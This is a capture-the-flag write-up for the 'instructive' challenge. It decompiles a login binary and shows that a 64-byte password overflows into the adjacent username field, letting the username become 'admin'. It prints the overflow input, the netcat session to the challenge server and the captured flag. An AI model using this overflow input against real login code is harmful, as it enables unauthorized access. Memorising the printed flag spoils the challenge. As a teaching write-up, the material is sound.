Instructive
3 minutes to read
We are given a 64-bit binary called instructive
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Reverse engineering
If load the binary in Ghidra, we will see this main
function:
int main() {
int ret;
undefined flag[136];
char *data;
FILE *fp;
int j;
int i;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
data = (char *) malloc(128);
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Please enter your password: ");
fgets(data, 128, stdin);
j = 0;
do {
if (0x7f < j) {
LAB_00101337:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
return 0;
}
if (data[j] == '\n') {
data[j] = '\0';
goto LAB_00101337;
}
j++;
} while (true);
}
First of all, the program reads the flag from ./flag.txt
and stores the content in a variable named flag
:
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
To capture the flag, we need to pass this if
statement:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
However, when the program asks us to enter the username, we are not allowed to use admin
:
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
After that, we are prompted to put a password:
printf("Please enter your password: ");
fgets(data, 128, stdin);
Buffer Overflow vulnerability
Notice that the password is stored in data
, and the username is stored in data + 0x40
(0x40
is 64 in decimal format). With fgets
, the program reads up to 128 bytes and stores the data in data
.
Therefore, we can abuse that to enter 0x40
bytes for the “password” field and the following characters will be stored in the “username” field (data + 0x40
).
Flag
If we do so, we can add admin
as a username and get the flag:
$ python3 -c 'print("A" * 0x40)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ nc puzzler7.imaginaryctf.org 9000
Please enter your username: asdf
Please enter your password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAadmin
Logged in as admin.
Welcome, admin. The flag is ictf{how_long_has_it_been_since_weve_done_just_a_simple_buffer_overfl0w?}.